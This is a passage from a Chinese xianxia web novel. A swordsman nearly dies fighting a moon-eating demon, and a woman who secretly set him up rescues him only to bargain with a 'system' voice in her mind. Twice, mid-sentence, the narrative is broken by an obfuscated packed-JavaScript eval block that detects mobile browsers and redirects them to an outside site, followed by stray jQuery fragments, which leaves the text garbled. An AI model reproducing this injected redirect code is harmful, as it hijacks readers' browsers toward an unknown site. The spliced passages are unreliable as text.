既然是云涯与苦厄地推给她的麻烦,那就让云涯的人去解决好了。 至于苦厄地,那颗碧华月凝珠就当是瞳怜给她的赔罪礼好了。 · 黑暗牢笼中果真只有黑暗,一丝光亮也无,即便是修士在其中无法视物。 霁明珏握紧手中剑,谨慎地走在黑暗中。 在落入黑暗牢笼的那一瞬间,食月妖吐出的浓浓妖息扑面而来,随后月见荷与金羽仙鹤便消失不见了。 霁明珏一边放出灵识查探黑暗牢笼中食月妖的动静,一边在心中复盘关于食月妖的一切: “食月妖,以月光为食,遇月光即复生,可在黑暗中穿梭自如,但惧日光。” 惧日光吗? 霁明珏收回散出的灵识,食月妖将自己的气息在黑暗中隐藏的极好,他查探不到食月妖的方位,也包括月见荷和那只金羽仙鹤。 他倒是不担心月见荷会出事,他只担心月见荷是不是又想出了什么新的方法捉弄他。 坐以待毙是行不得的,霁明珏握住剑,凝心聚神,再睁眼时,目光如炬。 一道剑火从道剑中飞出,在空中犹如绚烂的烟花般炸开,霁明珏借着焰火,将黑暗牢笼中的景象尽收眼底。 食月妖,就坐在他面前! 他急速退离,紧盯着眼前的食月妖,心中惊骇。 这只食月妖,已经有了八境的修为。 虽然没能化成人形,但已经产生了些许灵智。 “方才那一人一鹤呢?”霁明珏出声问道。 “吃了。”食月妖的眼中藏着兴奋,颇为玩味的看着眼前送上门的猎物。 自从那群愚蠢的修士不再进黑暗牢笼里试图杀他,他已经好久没吃过饭了。 霁明珏显然并不相信,月见荷绝对有她自己的保命手段,更何况她身边那只金羽仙鹤亦非凡物。 “月见荷!你给我出来!” 霁明珏朝着黑暗牢笼中大声喊去,但回答他的只有空洞的回声和食月妖的吐息。 他闭了闭眼,愤怒在他的胸膛间起起伏伏,得出来一个最不可能但也是最有可能的结论:月见荷把他丢下了。 她居然把他一个人丢在这里对付食月妖。 妖的耐心向来有限,食月妖的妖目扫向霁明珏,在黑暗中砸吧了好几下嘴,天生仙骨,简直是上等的佳肴,就连碧华月凝珠都比不上眼前之人。 食月妖口中吐出妖息,夹杂着浓浓的怨力,化为浓郁的雾色扑向霁明珏。 霁明珏急速后退,足尖轻点跃向空中,手中道剑在虚空中一剑万化,铺天盖地的剑光与食月妖吐出的妖息绞杀在一起。 剑意锐不可当,但食月妖也不落下风。 食月妖再次张口吐息,但这次吐出的却是一道寒凉的月光,瞬间将黑暗牢笼中的一切冻结。 霁明珏提剑斩去蔓延至脚边的冰霜,而后一剑斩向食月妖,漫天剑光如决堤一般,将食月妖吐出的月光斩碎。 不等食月妖回过神来,霁明珏剑上燃起道火,源源不断地日光从剑身上溢出,洒落在黑暗牢笼中。 夹杂着日光的火焰灼烧的食月妖全身发痛,它忙不迭地挥手试图扑灭身上的火焰。 但道火又怎是能够轻易被扑灭的。 发现火焰扑之不尽后,食月妖绿色妖瞳愤怒地盯着霁明珏,急切地调动体内碧华月凝珠的力量,以此抵御道火对他身躯的灼烧。 食月妖再次吐息,浓浓的黑雾从它口中扑散而出,黑暗牢笼中又陷入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644533|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一片无边的夜。 有了黑夜的笼罩,食月妖出手更为猛烈了。 从地里蓦然窜出无数双散发着黑气的妖爪,伴随着风中尖叫哀怨的哭嚎,奋力向霁明珏抓去,仿佛要他抓进九幽深处的恶鬼地狱。 霁明珏挥剑斩去妖爪,但是妖爪除之不尽,斩去一只,立刻就会有新的补上。 他看着道剑上沾染的黑色气息,心道不妙,这只食月妖怎么会有如此强大的怨力。 本命剑被怨气污染,霁明珏顿感识海阵痛,握剑的手隐隐松动。 “小玉。我等了你好久好久。” “小玉!你为什么不来找我!” 识海深处传来哀怨的声音,刺得他耳膜生疼,他恍惚中再次回到了朝歌皇宫中。 “小玉,今天我们去放风筝好吗?” 小女孩如银铃般清脆的声音在他耳边回响,随后蹦蹦跳跳地拉着他奔跑在朝歌皇宫中。 “小玉,风筝为什么要有线呀?” “因为这样子,风筝无论飞出多远,都会回到你身边。” 痛,还是很痛。 他看不清那个小女孩的面容,只能听见她清脆的声音。 修仙一途需斩尘缘,自踏入云涯以来,霁明珏关于人间的记忆已经变得模糊,但他可以肯定,他从来不曾与这么一个小女孩在朝歌皇宫中放过风筝。 他的意识逐渐变得模糊,手中道剑无力坠地,发出清脆的响声。 “小玉,醒一醒。” “小玉,快睁开眼。” “小玉……” 识海中传来清脆的声音将他的意识唤醒,霁明珏再次睁眼,眼中一片清明。 可食月妖的手已经抓向了他的心口,霁明珏急忙提剑格挡,却仍被食月妖将他的胸膛出抓出来一个窟窿,鲜血从他的胸口淌出,将一身青衣染成绯色。 止血咒的咒术附在伤口上,却是无济于事。 怨力太过凶悍,普通的止血咒术已经不起作用了,但他并不会浮荒修士的净化术,只能忍着疼痛握紧手中剑。 霁明珏环顾四周,战斗已经过了好些时候,月见荷与金羽仙鹤依旧没有出现,他这下是真的确认了:月见荷是故意丢下她的,她想要他死。 但为什么?无冤无仇她为何要如此大费周折地杀死他? 霁明珏闭上眼睛,再睁眼时已经带有决然之意,无论如何,今日他都不可以死在这里。 他将全部灵力尽付道剑之上,燃起漫天剑火,将自己与道剑融为一体,以身为剑,斩向黑暗牢笼。 食月妖杀不杀的了已经不重要了,眼下最重要的是赶紧离开黑暗牢笼,怨力一旦被沾染上,便会一刻不停的蚕食人的心脉,除了浮荒的净化术,没有其他的方法能驱除。 食月妖眯了眯眼,舔了舔指尖残留的的鲜血,直到将指尖的鲜血舔完,仍是意犹未尽。 美味!实在是美味! 这是他吃过最难啃下,但也最美味的食物。 食月妖一掌拦住住霁明珏试图刺穿黑暗牢笼的剑,连剑带人狠狠地往地上砸去,再次释放出浓重的怨力攀上他的身躯。 怨力侵袭着他的四肢百骸,霁明珏只感到似有无数片刀刃在对他的神魂进行一场凌迟。 此刻他不止肋骨尽断,腕骨也被折断,道剑无力地坠落在地。 食月妖放出的怨力不止凌迟着他的神魂,也吞噬着他的血肉,不出片刻,他的手掌只剩下森森白骨。 霁明珏费力唤醒模糊不清的意识。 不可以,他绝不可以死在这里。 他还没有找害他至此的月见荷算账呢。 怨力攀爬至他的双眼,他的眼前一片模糊。 他费力地试图摸索出掉落在身旁的道剑,却触碰到一块冰凉。 是一枚玉符。 他想起来了,在进入黑暗牢笼前,月见荷丢过给他一枚玉符。 她没有说玉符是做什么的,只是意味深长地告诉他:快死的时候记得捏碎玉符。 霁明珏狠了狠心,用力将玉符捏碎。 就在玉符破碎的那一瞬间,一支金羽箭破开黑暗来到他身边,箭上散发出的纯净之力,驱散他周身的怨力。 闭眼前,模糊中只见到一朵青色莲花。 10. 废人 黑暗牢笼的一处黑暗中,月见荷掩藏住气息,冷眼看着霁明珏与食月妖作殊死斗争。 没人的角落里,金羽仙鹤毫不掩饰的口吐人言:“你不考虑救他吗?” 月见荷轻轻斜过去一眼,道:“你很希望我救他?” “我不是小十三那个蠢货,我可不在意他的生死。”金羽仙鹤偏过头,看着月见荷认真说道:“但是小荷,我能感觉到你现在很痛苦,你的生命在流失。” 月见荷垂了垂眼,神色不明。 她现在的确很痛苦,心口传来的绞痛堪比神魂撕裂的痛苦,她指尖狠狠掐进血肉之中,刺破苍白的皮肤,几滴鲜血滴落地上,随即被她用裙摆盖住。 她笑了下,仍是用云淡风轻的语气对金羽仙鹤道:“我没事,你不必担心。” 金羽仙鹤欲开口再劝,但瞥见月见荷眼中的寒霜,只能无奈作罢。 如果小荷的痛苦真的跟那个人有关,大不了最后关头它再出手救人便是。 月见荷一言不发,站在黑暗中静静等待着,也许是在等待着霁明珏的死亡,又也许是在等待她的死亡。 她今日偏要看看,她与霁明珏谁先死。 “救他。”识海中的系统冷不丁的出声。 “为什么?”月见荷冷漠地问道。 “他死你也会死。” “我不在意啊。” 说完便不再理会系统。 识海中也陷入了一片死寂般地沉静。 就在怨气将要吞食至霁明珏心口时,系统再次出声了: “瑶光令。” 听到这三个字,月见荷心中瞬间警觉,忍不住泛起杀意:“你怎么会知道瑶光令?” 系统:“救他,我告诉你瑶光令的下落。” 月见荷:“我凭什么信你?” 系统:“因为你没有时间了。” 月见荷神色晦暗,眼睫轻轻抖动,似乎在思索着系统的话有几分真假。 这个天外来物确有几分神通,既然能知道修补魄冠的方法,那么瑶光令的消息应该有几分真实。 并且,它有一点说的很对,她的确没有时间了。 因为霁明珏真的快死了。 她现在可以确定,霁明珏的生命与她相连。 就是不知道这到底是单向的还是双向的了,毕竟她也没兴趣用自尽来试出这种没有意义的答案。 月见荷抬眼,换上一幅虚假的微笑:“可以,但得先告诉我瑶光令的下落。” “龙墓。” 系统回答的丝毫不拖泥带水,不知是在担心霁明珏的生死,还是在怕月见荷反悔。 “哪一座龙墓?” 归墟界的龙墓多的数不胜数,难道要她一个一个去找?那恐怕妖主瞳怜会第一个坐不住。 “天机如此,我只能说这么多。”系统说完后又催促道:“救他。” “知道了。”月见荷不情不愿地起身,走出黑暗之中。 她在心中安慰自己,算了,好歹知道了是在龙墓里,总比她在偌大的归墟界中一处一处的查探要好。 · “小一,去吧。” 收到月见荷指令后,金羽仙鹤立刻化身为一支金羽箭,飞落在霁明珏身边,纯粹的净化之力释放开,逼得怨力不得近他身躯半步。 霁明珏手中玉符破碎的瞬间,先前布好的焚玉燃天阵即刻启动,无数炽阳焰火从阵中窜出,扑向食月妖身上,力图将食月妖燃烧殆尽。 食月妖吐出妖息,试图驱散身上的焰火,但却无济于事。 一朵青色莲花在空中飘荡,散发出的纯净气息驱散食月妖吐出的怨力。 月见荷穿过漫天花雨,迈着不急不慢的步伐来到食月妖面前,面带微笑,随后一手径直伸进食月妖腹中,将他的妖丹掏出。 “你、你竟然是……”食月妖面露惊恐,话还没有说完,就已经失去了气息。 月见荷不屑地啧了一声,还以为八境修为的妖能有多大能耐呢,还不是这么轻易就死了。 她看着手中食月妖的妖丹,轻轻吹出一口气,覆盖在妖丹上的妖息和怨力眨眼间消失不见,只留下碧华月凝珠原本的模样。 此番收获是真不错,月见荷脸上少见的浮现出欣喜的笑容,不仅拿到了碧华月凝珠,还得到了瑶光令下落,简直是一举两得。 她瞥向一旁气息奄奄的霁明珏,又自我否定道:不,应该是一举三得。 “这个人怎么办?”金羽仙鹤抬脚踢了踢半死不活的霁明珏问道。 月见荷看着地上一身斑驳血迹的霁明珏,昔日持剑的手如今被食月妖啃的就快只剩骨架,皱眉道:“先带回青霜台吧。” 但。 “动手呀。”月见荷对着金羽仙鹤催促道。 “我不要,他身上太脏了。”金羽仙鹤坚定地摇头,它拒绝背起霁明珏。 月见荷指着自己,对金羽仙鹤的拒绝感到不可置信:“你不背难道我背?” 金羽仙鹤扭头便走。 月见荷简直要气笑了。 她解下身上的大氅,再用衣袖裹住手指,将霁明珏推进大氅中。 随后不情不愿地拖着大氅,跟着金羽仙鹤赶回青霜台。 · 醉心亭中,月见荷拿出碧华月凝珠,双指轻点在额间,抽出一股灵力渡入碧华月凝珠中。 数息过后,碧华月凝珠出现了一丝裂纹,月华之精缓缓从裂纹中溢出。 月见荷指尖再次转动,将月华之精汇入魄冠之中。 直到最后一丝月华之精被抽出,魄冠上的裂纹终于被修复如常。 月见荷重新将魄冠戴在头顶,有了完好无损的魄冠,她便可以随意离开青霜台去往外界了。 “怨力一事查的怎么样了?” “是阴墨雨。”昭岁将探查得出的结果一一告知月见荷。 果然如此,月见荷眼里闪过一丝冷意,但是语气却如春风般和煦:“告诉阴墨雨那个侄子,如果明年的六部议事见不到他的话,他以后都可以不用出现了。” 昭岁道:“明白了。另外眼已经趁乱送进云涯仙门了。” 月见荷轻轻点头,似乎颇为满意,道:“可查到山河图的下落了?” 昭岁有些为难道:“眼才送进去不久,恐怕没有那么快就能接触到云涯高层。” 月见荷懒散地耸了下肩,行吧,反正先找瑶光令也行。 “你这几日将归墟界内所有关于龙墓的消息全部查出来给我,任何蛛丝马迹都不可以放过。”月见荷想了想又吩咐道:“做得隐秘些,别让云涯仙门和苦厄地察觉到。” “是。”昭岁领命后正准备告退,却突然想去另外一事,问道:“大小姐,荷苑中那位霁道君您打算如何?” 月见荷不在意道:“不是已经传寒雪衣来医治了吗?” 昭岁脑海中浮现出寒雪衣这几日满脸的苦相,还是对月见荷劝道:“浮荒之人与云涯所修术法不同,恐怕有些伤处寒雪衣也无能为力。大小姐您还是去看一眼为好,霁道君再怎么说也是玄微真人的亲传弟子,如果这么不明不白死在青霜台,恐怕我们对云涯仙门也有些难以交代。” 月见荷眼也不抬的敷衍道:“知道了,我会去的。” 随后摆了摆手,示意昭岁可以离开了。 · 昭岁离开后,月见荷重新往美人榻上慵懒一躺,嘴角泛着惬意的微笑,准备进入梦乡,却被识海中一个不合时宜的声音吵醒了。 系统:“你不考虑去看看他?” 月见荷在心里翻了个白眼,不耐烦道:“又死不了。” 系统劝说道:“雪中送碳,病中送药,这可是你攻略他的一个好机会。” 月见荷有些无语,嘴角扯出嘲讽:“他的如今这副半死不活的模样全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650329|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拜我所赐,你管这叫雪中送炭?我看是火上浇油才对吧。” 系统:“但你最后不是救了他吗?反正他也不知道是你故意设计杀他,也许只是以为你被食月妖困住了而已。” 月见荷垂眼,目光在荷花池中流转,似乎在思索系统这番话的可行性,最后终于道:“行吧,希望你别像上次那样给我出个馊主意。” 随后不情不愿地起身,往荷苑中走去。 荷苑的房间中,霁明珏躺在床上,双眼紧闭,面色苍白,被寒雪衣用续命术法吊着一口气。 寒雪衣正对着昭岁怨声载道:“救救救?这样我怎么救?都剩最后一口气了才扔给我,你们都当我医仙再世啊?” 昭岁想起大小姐的所做作为,忍不住苦笑,无奈地宽慰寒雪衣的怨气:“寒医官,这也是大小姐对您医术的信任,如此命悬一线,放眼整个浮荒,也唯有您能将踏入黄泉之人拽回人间了。” 寒雪衣对昭岁的称赞颇为受用,面色肉眼可见的缓和了不少:“命我是给续住了,不过这……”他叹了一口气,指着霁明珏被食月妖啃食的快剩骨架的手骨道,“净化怨力我勉强能行,至于这让白骨重新长出血肉,我是无能为力了。” 昭岁道:“这我自然明了,寒医官只要将此人性命续住就行,其他皆由大小姐解决。” 正说道此时,月见荷也终于来到了荷苑内,房中弥漫的腐气令她感到有些不适,她用衣袖捂住鼻子,皱眉问寒雪衣道:“人怎么样了?能不能活?” 见月见荷来访,寒雪衣立刻收起怨念的神色,颇为恭敬道:“命已经续住了,但是……” 寒雪衣欲言又止。 “但是什么?”月见荷示意他继续说下去。 寒雪衣虽然是个医官,但是他其实并没有什么医者仁心,他指着霁明珏的指骨道:“灵脉有损,指骨尽断,血肉被怨力吞食。” 月见荷皱着眉:“那能医好吗?” 寒雪衣:“……”真是一群神经病,把人折磨成这样,最后却把他抓来医人。 但面对喜怒无常的月见荷,寒雪衣不敢甩脸色,只能恭顺的回答道:“断掉的筋骨我已经替他重新接上了,至于灵脉,我接续不了。” 月见荷轻轻点头,压下嘴角地笑意,接不了也行,这样子霁明珏便再没有杀她的可能性了。 没等她高兴完,寒雪衣又道:“他身上被怨力侵蚀的伤处太多了,我已经用食腐花替他消除了腐肉,但是能不能新长出来,我就没办法了。大小姐您也知道,因怨力造成的伤口,基本上没有可能被修复的。” 月见荷神色一怔,因为她自己并不受怨力所扰,所以竟忘了这件事。 “他还要多久才能醒过来?” 总这么躺着也不是个事,她可没有照顾废人的兴趣。 “估摸着至少需要月余吧。”寒雪衣又从医箱中掏出眷恋不舍地掏出一瓶灵药,对月见荷道:“这些可是我费心多年练出来的续命之药,我给它取名为‘夺时’,你每天喂他吃一颗,醒来后就可以停了,记住切莫浪费啊。” “知道了。”月见荷从寒雪衣手中接过药瓶,对昭岁说道:“给寒医官的药田扩大三成吧” 寒雪衣欣喜道:“多谢大小姐!” 他这人没有什么爱好,就是喜欢捣鼓药草,研究灵药。 识海中的系统又开始吵闹,月见荷摆了摆手,示意他们二人可以退下了。 真是麻烦,她还要费心给霁明珏白骨生肉。 就在月见荷的灵力刚要飘进霁明珏体内时,她却猛然收回了灵力。 识海中系统不解的问道:“你怎么又突然收手了?” 月见荷的语调变得愉悦:“因为我又想到了一个有趣的游戏。” 系统大感不妙,正欲劝说,却听见月见荷继续悠悠道:“你说,霁明珏醒来时,看见他灵脉损毁,再也握不起剑,会是什么感受呢?”